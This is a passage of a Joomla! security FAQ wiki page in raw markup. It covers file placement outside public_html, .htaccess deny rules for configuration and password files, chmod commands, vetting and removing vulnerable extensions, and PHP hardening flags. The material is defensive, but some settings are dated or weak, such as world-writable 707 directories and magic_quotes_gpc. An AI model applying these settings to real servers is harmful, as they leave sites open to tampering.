&#039;&#039;&#039;Optional&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
# chgrp the entire web space to the FTP group so that only those with FTP access can write to the server.&lt;br /&gt;
# chmod the entire web space to 764 or 664 will be possible giving other users write access as well&lt;br /&gt;
&lt;br /&gt;
==Isn&#039;t locating all Joomla! files inside public_html a security risk?==&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Short answer&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
Potentially, yes. Your site can be secure, but you must be careful and vigilant.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Long answer&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
A common security principle is to create various security levels and then grant access at each level only as required. On UNIX servers this is done by setting the user, group, and world permissions on directories and files.&lt;br /&gt;
&lt;br /&gt;
Typically, the most insecure directory on a UNIX server is the one serving Web files, usually called public_html. This is because it is publicly accessible, world-readable, and in the case of a CMS-powered site, possibly even world-writable. That status is the very definition of officially, totally, and utterly insecure.&lt;br /&gt;
&lt;br /&gt;
As long as you want the entire world to view your public_html directory there is no problem. After all, that&#039;s exactly what it&#039;s designed to do. But if you want to hide anything, the plot thickens. If public_html contains configuration files with secret data, or scripts that write to databases, or scripts that modify other files, or scripts that append to logs, or scripts that store temporary data in caches, or scripts that support file and graphic uploads, or scripts that process form input, or scripts that process financial and personal data, this read-only directory becomes a world-accessible, read-write application.&lt;br /&gt;
&lt;br /&gt;
If there are ANY vulnerabilities in ANY files in the public_html directory, the entire server is potentially vulnerable, and not just your Web site but possibly every Web site on your server. Such vulnerabilities give attackers access to the scripting engines used to run your site. PHP, Perl and other Web scripting languages are powerful and easy to use. If programming vulnerabilities allow an attacker to call arbitrary commands, your entire server could be toast.&lt;br /&gt;
&lt;br /&gt;
One good way to block attackers, is to keep potential vulnerabilities behind a secure fence. For this reason, it is often recommended to only place files that require direct access from the Web in public_html. Other files should be loaded into applications using such functions as include andrequire. To access such files, attackers must first penetrate your server, such as by discovering a root username/password.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;The incredible lightness of living outside the fence&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
To provide incredibly easy installation, Joomla! follows a different security model. It is possible to perform a complete Joomla! installation using nothing more than a Web browser pointed at the world-readable installation directory. An additional level of security is provided by requiring that you remove this installation directory after completing the install.&lt;br /&gt;
&lt;br /&gt;
Granting a world-accessible installer the ability to write to files outside of public_html would be a huge security hole. Thus, by default every Joomla! file ends up in the world-accessible public_html directory. Not coincidentally, this is also the directory in which an angry planetful of would-be attackers are hoping to find your files.&lt;br /&gt;
&lt;br /&gt;
Currently, most Joomla extensions also have limited support for file locations outside of public_html. This is a legacy of the Joomla! 1.0.x installation model.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Joomla! defense&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
Despite it&#039;s apparently vulnerable location, Joomla! uses various effective methods for blocking exploits. Chief among them is to add a line of code at the top of any PHP file that requires extra protection. This method is very effective as long as each and every file requiring such protection, has it. One vulnerable file exposes the whole site.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;The challenge&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
The practice of placing everything in public_html, and then building a little fence inside each file can become an administrative nightmare. One vulnerable file exposes the entire server. This is a glaring example of an allow, then deny security model.&lt;br /&gt;
&lt;br /&gt;
This model requires very careful upgrades, constant log reviews, and proactive plugging of new vulnerabilities as soon as they become known. (Since you have to beat the attackers, you&#039;ll be in a hurry, and may inadvertently do something stupid, potentially creating other vulnerabilities.)&lt;br /&gt;
&lt;br /&gt;
During installations and upgrades, you must verify (or trust someone else to verify) every line of code, of every new file, for every known vulnerability. And because scripts can have unintended consequences on each other, you can not forget to test, test, test. Of course this is generally true for all software, but placing the entire application in public_html makes the issue extremely critical.&lt;br /&gt;
&lt;br /&gt;
The recent wave of URL injection attacks against poorly-written third party extensions would have been much less successful if those files had been stored outside of public_html, and thus simply unavailable through URLs. Note that in many cases the actual vulnerabilities could still exist within the files, but being inside the fence (outside of public_html) they would not be exposed to URL injections.&lt;br /&gt;
&lt;br /&gt;
 To (Deny, then Allow), or (Allow, then Deny)?&lt;br /&gt;
&lt;br /&gt;
The real problem with the above &amp;quot;all known&amp;quot; qualifier is that it is an allow, then deny model. In other words, we first give everyone access to every file and then deny access to specific files by adding a line of code.&lt;br /&gt;
&lt;br /&gt;
Consider the logic for a password authentication script. We have essentially two choices:&lt;br /&gt;
# First allow all access, then deny any username/password combination that DOES NOT match the approved list.&lt;br /&gt;
# First deny all access, then allow any username/password combination that DOES match the approved list.&lt;br /&gt;
&lt;br /&gt;
Obviously the second method is better. A passing familiarity with regular expressions shows that the first method is much more difficult to write securely. It fails anew each time a new variation of some attack is developed, and tends to require constant revisions. Over time, such revisions become so complex that the authentication system itself becomes a source of vulnerabilities.&lt;br /&gt;
&lt;br /&gt;
Conceptually, the second method is an example of building a strong fence around your site (deny), and then granting access using a limited and well-defined set of criteria (then allow). If the script fails, the most likely result is that someone who should have access is blocked. That may be highly inconvenient, but it&#039;s not usually a security breach.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;The good news&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
# In Joomla! 1.0.x, some extensions, and the Joomla! framework, give you the option of locating critical directories outside of public_html after you have completed the installation. Whenever possible you should do this.&lt;br /&gt;
# Joomla! 1.5 goes far in the right direction. It provides several new constants for specifying the location of particularly sensitive directories, including configuration, administrator, libraries, and installation. &lt;br /&gt;
# Joomla! 1.5 is able to run as an FTP account. This provides another method for protecting files on a file by file and directory by directory basis.&lt;br /&gt;
&lt;br /&gt;
==How do I adjust Joomla 1.5 defines [[Image:Compat_15.png]]==&lt;br /&gt;
&lt;br /&gt;
There are two defines files that will generally need to be edited.  /includes/defines.php file is for the front end and /administrator/includes/defines.php is for the Joomla administrator end. Below is the relevant code.&lt;br /&gt;
&lt;br /&gt;
 define( &#039;JPATH_ROOT&#039; , implode( DS, $parts ) );&lt;br /&gt;
 define( &#039;JPATH_SITE&#039; , JPATH_ROOT );&lt;br /&gt;
 define( &#039;JPATH_CONFIGURATION&#039;, JPATH_ROOT );&lt;br /&gt;
 define( &#039;JPATH_ADMINISTRATOR&#039;, JPATH_ROOT . DS . &#039;administrator&#039; );&lt;br /&gt;
 define( &#039;JPATH_LIBRARIES&#039; , JPATH_ROOT . DS . &#039;libraries&#039; );&lt;br /&gt;
 define( &#039;JPATH_INSTALLATION&#039; , JPATH_ROOT . DS . &#039;installation&#039; );&lt;br /&gt;
&lt;br /&gt;
.DS. = Directory Seperator&lt;br /&gt;
&lt;br /&gt;
==Moving sensitive files outside the web root==&lt;br /&gt;
{{:Moving sensitive files outside the web root}}&lt;br /&gt;
&lt;br /&gt;
==How do I block direct access to critical files using .htaccess?==&lt;br /&gt;
# Make a backup copy of your .htaccess file. Use your backup file to recover if the following fails. Be sure to delete the backup file once you  are finished.&lt;br /&gt;
# Add the following to your .htaccess file. This example will protect both the configurtation.php and .htaccess files.&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;Files .htaccess&amp;gt;&lt;br /&gt;
 order allow,deny&lt;br /&gt;
 deny from all&lt;br /&gt;
 &amp;lt;/Files&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;FilesMatch &amp;quot;configuration.php&amp;quot;&amp;gt;&lt;br /&gt;
 Order allow,deny&lt;br /&gt;
 Deny from all&lt;br /&gt;
 &amp;lt;/FilesMatch&amp;gt;&lt;br /&gt;
&lt;br /&gt;
You can also protect a lot of file extensions in one single rule. Exemple (the file names between &#039; &#039;&#039;&#039;(&#039;&#039;&#039; &#039; and &#039; &#039;&#039;&#039;)&#039;&#039;&#039; &#039; in this rule are the file extensions to protect ):&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;FilesMatch &amp;quot;\.(htaccess|htpasswd|ini|phps|log|sh|conf)$&amp;quot;&amp;gt;&lt;br /&gt;
 Order allow,deny&lt;br /&gt;
 Deny from all&lt;br /&gt;
 &amp;lt;/FilesMatch&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==How do I recursively adjust file and directory permissions?==&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Using Joomla! Administration&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
In the Back-end, go to Site --&amp;gt; Global Configuration --&amp;gt; Server.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Using the UNIX shell&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Note:&#039;&#039;&#039; The find command automatically assumes that it should start from the current directory. To be safe, go to your public_html directory and specify a path as the first argument. Some shells, such as bash on Apple OS X, must have a path specified in the find command.&lt;br /&gt;
&lt;br /&gt;
 find . -type f -exec chmod 644 {} \;&lt;br /&gt;
 find . -type d -exec chmod 755 {} \;&lt;br /&gt;
 chmod 707 images&lt;br /&gt;
 chmod 707 images/stories&lt;br /&gt;
 chown apache:apache cache&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Notes:&#039;&#039;&#039;&lt;br /&gt;
# Test all third party extensions after changing permissions.&lt;br /&gt;
# You may need to reset write permissions to install more extensions.&lt;br /&gt;
&lt;br /&gt;
==How can I set the administrator directory to use an SSL server (https)? {{JVer|1.0}}==&lt;br /&gt;
&lt;br /&gt;
Use Joomla version 1.5 or newer&lt;br /&gt;
&lt;br /&gt;
A standard Joomla! 1.0.x installation does not support SSL for individual directories, however there are various (elegant and not so elegant) hacks posted in the forums.&lt;br /&gt;
&lt;br /&gt;
Note that earlier techniques involving the variable $mosConfig_live_site are deprecated, and will not work with current Joomla! versions due to increased security enhancements.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;More Help&#039;&#039;&#039;&lt;br /&gt;
# [http://www.netshinesoftware.com/security/using-an-ssl-certificate-with-your-joomla-website.html Netshine Software, Ltd: Using an SSL Certificate with your Joomla Website]&lt;br /&gt;
&lt;br /&gt;
==Why isn&#039;t restricting access by IP recommended?==&lt;br /&gt;
&lt;br /&gt;
Restricting site access by IP address is not particularly effective longterm as many exploits are enacted from hijacked machines or via proxies, masking the real attacker&#039;s actual IP Address. Attackers can attack from many different compromised machines. Blocking them will block the legitimate owners of that IP, but may not block the attackers.&lt;br /&gt;
&lt;br /&gt;
= Joomla! Extensions =&lt;br /&gt;
&lt;br /&gt;
==Why are there vulnerable extensions?==&lt;br /&gt;
&lt;br /&gt;
A list of currently known [http://docs.joomla.org/Vulnerable_Extensions_List vulnerable extensions]. &lt;br /&gt;
&lt;br /&gt;
: Anyone may write and distribute a Joomla! extension. As a service to the global community, this freedom is actively encouraged and supported by the Joomla! Core team. Due to the openness and popularity of the Joomla! project, there are a wide variety of extensions offering a vast array of features. The quality and breadth of Joomla! extensions is one of the main advantages of Joomla.&lt;br /&gt;
&lt;br /&gt;
: However this freedom comes with a price. It requires individual responsibility, and can survive only where a majority of participants act responsibly. Joomla&#039;s success has led to unwanted attention from malicious types, such as script kiddies who run simple, automated scripts in an effort to find and deface others&#039; Web sites.&lt;br /&gt;
&lt;br /&gt;
: It is important to note that, script kiddies unintentionally perform a valuable service. They help us identify vulnerable extensions and poorly configured servers that might otherwise remain open to more serious threats.&lt;br /&gt;
&lt;br /&gt;
==What is a vulnerable extension?==&lt;br /&gt;
&lt;br /&gt;
A vulnerable extension is one that has been found to contain (or contribute to) a security vulnerability.&lt;br /&gt;
&lt;br /&gt;
Vulnerable extensions are not necessarily poorly-coded. As the Web evolves, technical requirements and commonly accepted coding practices change. Active projects release new versions of their extensions as requirements change. For this reason, it is important to:&lt;br /&gt;
&lt;br /&gt;
# Know the version numbers of all installed extensions.&lt;br /&gt;
# Use only the latest stable version of all extensions.&lt;br /&gt;
# Completely remove all files of insecure or unused extensions.&lt;br /&gt;
&lt;br /&gt;
==How do I choose secure extensions?==&lt;br /&gt;
&lt;br /&gt;
: The most important thing anyone can do is make good decisions regarding the extensions they choose to use on a site. Once an insecure or malicious extension is installed you should consider your entire site compromised. There is NO POSSIBLE WAY to protect or stop a component from accessing database tables it should not be accessing. There is no possible way to stop a component from sending all of the information it found back to a cracker website. Once an insecure or malicious component is installed, your entire site is insecure.&lt;br /&gt;
&lt;br /&gt;
: With all of that said, here are some pretty easy tips for making good choices regarding the extensions you install:&lt;br /&gt;
&lt;br /&gt;
1. When was the last version released?&lt;br /&gt;
&lt;br /&gt;
: If it has been over a year, consider the project abandoned and find something else. Do not install old components.&lt;br /&gt;
&lt;br /&gt;
2. What kind of release is it? (Stable, Release Candidate (RC), Beta, Alpha)&lt;br /&gt;
&lt;br /&gt;
: For production sites you should be sticking to Stable releases as much as possible. If you cannot wait until a Stable release has been made available, Release Candidates are the only other option you should consider. I would not suggest anyone install any Beta or Alpha extensions on a production site. This means they still have bugs, they have not been tested enough, and could have any number of inconvenient bugs or security issues that have not been fixed or worse, found.&lt;br /&gt;
&lt;br /&gt;
3. Does the extension have a history of good security practices?&lt;br /&gt;
&lt;br /&gt;
: This is obviously a bit more subjective but it is still a very valid gauge of future trustworthiness. It requires a bit of investigation and research. Look around their download pages and archives, are there many security release or patches? Are there a lot of reports of cracking activity through this extension? Are the developers experienced and security conscious? What do other community members think of this extension? One example that comes to mind that has little to do with Joomla itself (which makes it a fair example) is phpBB. This script has had more security issues than I could get my head around and there routinely seems to be newly disclosed issues. Because of this, I would never use phpBB. In my opinion its is not trustworthy and there is a high probability that there will be more major security issues.&lt;br /&gt;
&lt;br /&gt;
4. Is there a support community for this extension?&lt;br /&gt;
&lt;br /&gt;
: This is very important for usability and security awareness. If there is a support community for an extension there is a better chance of security issues being known and dealt with. A support community means that people would like to continue using the extension and that they care about the extension. This furthers the chance that security issues will be found, disclosed, and dealt with promptly.&lt;br /&gt;
&lt;br /&gt;
5. Is there only a Mambo version of this extension?&lt;br /&gt;
&lt;br /&gt;
: While this does not in itself make an extension insecure but is rather a gauge of support, how recently the last realease was, and future support. There is a pretty narrow chance that Mambo components will be supported in 1.5 so save yourself the trouble and find a component made to work with Joomla. It will make your life easier.&lt;br /&gt;
&lt;br /&gt;
6. Is the extension generally bug free?&lt;br /&gt;
&lt;br /&gt;
: I hinted on this a little bit in number three but I think it is worth discussing in more depth. While it is almost impossible for an extension to be completely bug free, the smaller the number of bugs, the better. If there are bugs in the software it means there are mistakes in the software. The more mistakes, the higher risk of usability issues and security issues. Security issues are often a result of not one bug, but several bugs or bad practices. For example, the recent 3rd party vulnerabilities that allow for remote file inclusion are a result of:&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Bad Practices:&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
# Having PHP&#039;s Register Globals enabled.&lt;br /&gt;
# Using out of date or abandoned extension.&lt;br /&gt;
# No other security checks enabled for PHP. (url_fopen off, open_basedir restrictions, disabled PHP functions)&lt;br /&gt;
# Poorly configured file permissions.&lt;br /&gt;
# No request filtering or software &amp;quot;firewall&amp;quot;. (such as mod_rewrite rules or mod_security Apache modules)&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Bugs:&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
# Not including defined(&#039;_VALID_MOS&#039;) or die... statements&lt;br /&gt;
# Poorly constructed include() statements.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Although the Joomla! core is secure when configured correctly, third party extensions come in all flavors of age and quality. Unless you absolutely trust the extension developer, always review the code should before installing. The following is a list of typical areas of concern.&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
1. How complex is the extension? &lt;br /&gt;
&lt;br /&gt;
: The larger it is, the more likely it is to have problems, and the more carefully you should review it. If you can&#039;t tell what it&#039;s doing, you should not trust it.&lt;br /&gt;
&lt;br /&gt;
2. Does the extension read or write files to your server? &lt;br /&gt;
&lt;br /&gt;
: Programs that read files may inadvertently violate access restrictions you&#039;ve set up, or pass sensitive system information to crackers. Programs that write files have the potential to modify or damage existing files, or introduce trojan horses.&lt;br /&gt;
&lt;br /&gt;
3. Does the extension interact with other programs on your system? &lt;br /&gt;
&lt;br /&gt;
: For example, many extensions send e-mail in response to a form input by opening a connection with the sendmail program. Is it doing this in a safe way?&lt;br /&gt;
&lt;br /&gt;
4. Does the extension run with suid (set-user-id) privileges? &lt;br /&gt;
&lt;br /&gt;
: In general this is very dangerous; extensions need an excellent reasons for doing this.&lt;br /&gt;
&lt;br /&gt;
5. Does the extension validate all user input, such as in form fields and in the URL?&lt;br /&gt;
&lt;br /&gt;
6. Does the extension use explicit path names when invoking external programs? &lt;br /&gt;
&lt;br /&gt;
: Relying on the PATH environment variable to resolve partial path names is a dangerous practice.&lt;br /&gt;
&lt;br /&gt;
7. Is the extension secure against direct access throught the URL? &lt;br /&gt;
&lt;br /&gt;
: For example: www.yoursite.com/components/com_bad_extension.php?lots_of_bad_code_here&lt;br /&gt;
&lt;br /&gt;
8. Is the extension secure against remote file inclusions?&lt;br /&gt;
&lt;br /&gt;
9. Is the extension secure against SQL injections?&lt;br /&gt;
&lt;br /&gt;
10. Is the extension secure against Cross Site Scripting (XSS)?&lt;br /&gt;
&lt;br /&gt;
11. Does the extension need PHP register_globals ON, or Joomla! RG Emulation ON? &lt;br /&gt;
&lt;br /&gt;
: If so, then it is probably violating number 7 above.&lt;br /&gt;
&lt;br /&gt;
12. Does the extension provide higher database access to less privileged users? &lt;br /&gt;
&lt;br /&gt;
: For example does it allow guests or registered users to view data that only publishers or administrators should be able to see?&lt;br /&gt;
&lt;br /&gt;
==Why does the Extensions site include insecure extensions?==&lt;br /&gt;
&#039;&#039;&#039;&lt;br /&gt;
Overview&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
The Joomla! Extensions site exists as a free service to the community. Anyone can post extensions there and extensions exist at all levels of quality and maturity.&lt;br /&gt;
&lt;br /&gt;
If an extension is found to contain vulnerabilities, it will be removed from the site until a safer version is released, but there is no guarantee that the vulnerabilities of every extension have been discovered or reported.&lt;br /&gt;
&lt;br /&gt;
To be safe, you must verify the security of every extension you install.&lt;br /&gt;
&lt;br /&gt;
Below is the text of the Joomla! Extensions site disclaimer. Ignore it at your peril. &lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Disclaimer&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
: The extensions and reviews listed in this area have been submitted by the community and their listing does not constitute or imply endorsement, recommendation, or favouring by Joomla!/OSM.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
: This content is provided as a free service to our visitors, and, as such, Joomla!/OSM cannot be held liable for the accuracy of the information. Visitors wishing to verify that the information is correct should contact the parties responsible for authoring the content and/or development of the extension.&lt;br /&gt;
&lt;br /&gt;
==Why is there a warning in the extensions install screen?==&lt;br /&gt;
&lt;br /&gt;
It&#039;s just a warning! You are of course free to install any extension you want onto your own site, but remember that &#039;&#039;&#039;YOU&#039;&#039;&#039; are responsible for the safety of your site and the quality of the applications you install.&lt;br /&gt;
&lt;br /&gt;
The vast majority of reported Joomla! vulnerabilities are through poorly-written or obsolete versions of third party extensions that should not have been left on the server. Therefore, before installing anything carefully evaluate the quality of the extension&#039;s code.&lt;br /&gt;
&lt;br /&gt;
The [[Vulnerable Extensions List]] is a valuable source of information on what &#039;&#039;&#039;NOT&#039;&#039;&#039; to install.&lt;br /&gt;
&lt;br /&gt;
==Why isn&#039;t un-publishing a vulnerable extension enough to protect my site?==&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Overview&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
: Simply removing the menu links to an extension, or unpublishing a module is NOT enough to protect your site! As long as the extension&#039;s files exist on your server, you are vulnerable. Note how in the following examples an attacker can bypass the Joomla! index file to directly target any file, of any extension.&lt;br /&gt;
&lt;br /&gt;
 www.your_site.org/components/com_bad_component/vulnerable_file.php&lt;br /&gt;
 www.your_site.org/modules/mod_bad_module/vulnerable_file.php&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Directions for removing a vulnerable extension&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
1. Make a list of files to remove&lt;br /&gt;
&lt;br /&gt;
: If you can locate it, read the extension&#039;s xml file to determine exactly which directories, files, and database tables were added to your system. The xml file is in the original zip archive used during the extension install process. For example, the zip archive for an extension called mod_vulnerable, would contain an xml file called, mod_vulnerable.xml, and might contain a list of files such as the following:&lt;br /&gt;
&lt;br /&gt;
 mod_vulnerable.php&lt;br /&gt;
 mod_vulnerable/vulnerable_file.txt&lt;br /&gt;
 mod_vulnerable/another_vulnerable_file.txt&lt;br /&gt;
 mod_vulnerable/yet_another_vulnerable_file.txt&lt;br /&gt;
 mod_vulnerable/index.html&lt;br /&gt;
&lt;br /&gt;
2. Uninstall via the Joomla Installer:&lt;br /&gt;
&lt;br /&gt;
: Using the Installer in the Joomla! Administrator backend, uninstall the vulnerable extension. You may also need to uninstall related modules, components, or plugins.&lt;br /&gt;
&lt;br /&gt;
3. Check that the uninstall process was complete:&lt;br /&gt;
&lt;br /&gt;
: Don&#039;t trust the extension to safely remove all of it&#039;s files. Compare directories and files on your system to the extension&#039;s xml list to ensure that all related files were actually removed.&lt;br /&gt;
&lt;br /&gt;
4. Optionally, remove related database tables:&lt;br /&gt;
&lt;br /&gt;
: Check your database and remove any tables created by the extension. To ease the upgrade process to new versions, many uninstall scripts do not remove related database tables. You can find the list of tables in each extension&#039;s xml file. (If you plan on installing a safer, compatible version of the same extension and you want to reuse existing data, you can usually leave the database tables as they are.)&lt;br /&gt;
&lt;br /&gt;
= Apache =&lt;br /&gt;
&#039;&#039;&#039;Covers information on Apache Web server, Apache modules, .htaccess files, etc.&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==What is Apache modSecurity?==&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Overview&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
ModSecurity is an Apache module that functions as an embeddable web application firewall. It provides protection from a range of attacks against web applications and allows for HTTP traffic monitoring and real-time analysis with no changes to existing infrastructure. It is also an open source project that aims to make web application firewall technology available to everyone.&lt;br /&gt;
&lt;br /&gt;
When configuring ModSecurity, it is important to know that it is not only the Joomla! application that may require unique rules, but also the data that the application processes.&lt;br /&gt;
&lt;br /&gt;
Quality hosting providers customize mod_security rules to suit each customer. &lt;br /&gt;
&lt;br /&gt;
If you have a conflict between Joomla and ModSecurity, it is often third party components, and sometimes even contact form submissions that trigger the problem. Joomla out of the box &#039;&#039;usually&#039;&#039; works with typical ModSecurity settings, but this is dependent on each hosting provider&#039;s unique configuration. &lt;br /&gt;
&lt;br /&gt;
Overall, mod_security is a excellent tool, but this is really something your host should manage.&lt;br /&gt;
&lt;br /&gt;
One specific error is the failure of file uploads, this is often caused by SecFilterScanPOST being enabled. If you get an internal server error while using the flash upload in the Media Manager this is a good place to start. You can disable this setting by adding &#039;&#039;&#039;SecFilterScanPOST Off&#039;&#039;&#039; to your .htaccess file.&lt;br /&gt;
&lt;br /&gt;
ModSecurity configurations are far too varied and complex to describe here. To learn more, see the following resources:&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Resources&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
# [http://www.modsecurity.org/ Official ModSecurity Site]&lt;br /&gt;
# [http://www.modsecurity.org/projects/modsecurity/apache/index.html ModSecurity and Apache]&lt;br /&gt;
&lt;br /&gt;
== How do I block directory scans using  .htaccess? ==&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Directions&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
Add one of the following Apache rewrite rules to your .htaccess file. The first example will internally rewrite all attempts to access files with names starting with &amp;quot;phpMyAdmin&amp;quot; to index.php. Be wary of using this as it allows a seemingly valid duplicate URL for your homepage. The second rule is more safe. It simply returns a 403 response.&lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
&#039;&#039;&#039;Sample Apache Rewrite Rule&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
 RewriteRule ^phpMyAdmin /index.php [L]&lt;br /&gt;
 RewriteRule ^phpMyAdmin - [F]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Some Regular Expression Tips&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
 ^ Means start of pattern&lt;br /&gt;
 . Means any character other than newlines&lt;br /&gt;
 + Means one or more of the previous character&lt;br /&gt;
 * Means zero or more of the previous character&lt;br /&gt;
 $ Means end of pattern&lt;br /&gt;
 \.  Literal periods must be escaped with a leading \&lt;br /&gt;
&lt;br /&gt;
==How can I change PHP settings using .htaccess? ==&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Introduction&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
This FAQ explains how to set boolean PHP configuration directives using php_flag. The format for php_flag is: php_flag name on|off&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Directions&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
1. Open the .htaccess file located in your site&#039;s home directory, or if you don&#039;t have one, create a blank one now. Note the period character (.) at the beginning of the file name.&lt;br /&gt;
&lt;br /&gt;
2. Add any of the following code samples to your .htaccess file, each on it&#039;s own line. These sample commands will prevent common global variable injection attacks, cross site scripting (XSS) sttacks, and code injection attacks.&lt;br /&gt;
&lt;br /&gt;
 php_flag register_globals off&lt;br /&gt;
&lt;br /&gt;
 php_flag allow_url_fopen off&lt;br /&gt;
&lt;br /&gt;
 php_flag magic_quotes_gpc on&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;Note that although the magic_quotes_gpc directive adds a layer of security, for performance reasons it is not considered a best practice. If you have verified that your site correctly filters and validates all user data (and every production site really should), then there is no need to add this directive. If you have any doubt, add it.&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
3. Save the .htaccess file in your site&#039;s home directory.&lt;br /&gt;
&lt;br /&gt;
4. Test your site&#039;s front end and back end.&lt;br /&gt;
&lt;br /&gt;
==How does FastCGI effect Joomla?==&lt;br /&gt;
&lt;br /&gt;
When PHP runs from FastCGI, your server runs the PHP interpreter like an Apache module, but with the rights of your user account. Usually, the PHP interpreter is either running as the user of the webserver (which is fast, but insecure, since everyone&#039;s scripts run with the same rights), or as a CGI program, which is slow. Thus, FastCGI is a good solution for shared hosting.&lt;br /&gt;
&lt;br /&gt;
Since the PHP interpreter runs as a single instance, it does (AFAIK) not parse the .htaccess or php.ini files per directory. To change php.ini settings, your host must offer you a method to set up or modify your own php.ini, or at least parts of it. Here is how one of host does this: it parses one php.ini file (which the user can modify) once an hour, and puts some well-defined settings into the web server&#039;s main php.ini file. Thus, users are able to change some settings for their site only, such as turning register_globals off, switching between PHP4 and PHP5.&lt;br /&gt;
&lt;br /&gt;
If your server uses FastCGI, you can ask them to enable a method such as the above example, or you may be able to ask them adjust some settings for you.&lt;br /&gt;
&lt;br /&gt;
==How can I check if mod_rewrite is enabled?==&lt;br /&gt;
&lt;br /&gt;
Many problems with search engine optimization (SEO) arise from the fact that a host has not enabled mod_rewrite on the server.&lt;br /&gt;
&lt;br /&gt;
1. Enable SEO in your administrator! (administrator &amp;gt; SEO &amp;gt; Enable &amp;gt; Save)&lt;br /&gt;
&lt;br /&gt;
2. Rename your htaccess.txt to .htaccess, or use your existing .htaccess file.&lt;br /&gt;
&lt;br /&gt;
3. Place ONLY the following lines in your .htaccess file in the domain root folder.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;source lang=&amp;quot;apache&amp;quot;&amp;gt;      Options +FollowSymLinks&lt;br /&gt;
      RewriteEngine On&lt;br /&gt;
      RewriteRule ^joomla\.html http://www.joomla.org/ [R=301,L]&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
4. Point your browser to: http://www.example.com/joomla.html&lt;br /&gt;
&lt;br /&gt;
(Replace &#039;example.com&#039; with your site&#039;s actual URL.)&lt;br /&gt;
&lt;br /&gt;
5. If you are redirected to www.joomla.org, mod_rewrite is working. If you get an error, mod_rewrite is not working.&lt;br /&gt;
&lt;br /&gt;
6. Note: if your site is located in a folder, for example &amp;quot;test&amp;quot; you will need to modify the .htaccess file as follows:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;source lang=&amp;quot;apache&amp;quot;&amp;gt;      Options +FollowSymLinks&lt;br /&gt;
      RewriteEngine On&lt;br /&gt;
      RewriteRule ^test/joomla\.html http://www.joomla.org/ [R=301,L]&amp;lt;/source&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== How do I switch to PHP5 using .htaccess? ==&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Overview&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
Many shared server environments currently run .php scripts using the PHP4 interpreter and .php5 code using the PHP5 interpreter. Rather than changing all your file extensions, and perhaps breaking many links, use a .htaccess file to dynamically map one extension to the other.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;IMPORTANT CAVEAT:&#039;&#039;&#039; One common reason for doing this is that hosts leave PHP4 configured with register_globals ON in order to support legacy code while offering PHP5 with register_globals OFF. If you are on a shared server at a host that has configured register_globals ON server wide, you should be very worried!&lt;br /&gt;
&lt;br /&gt;
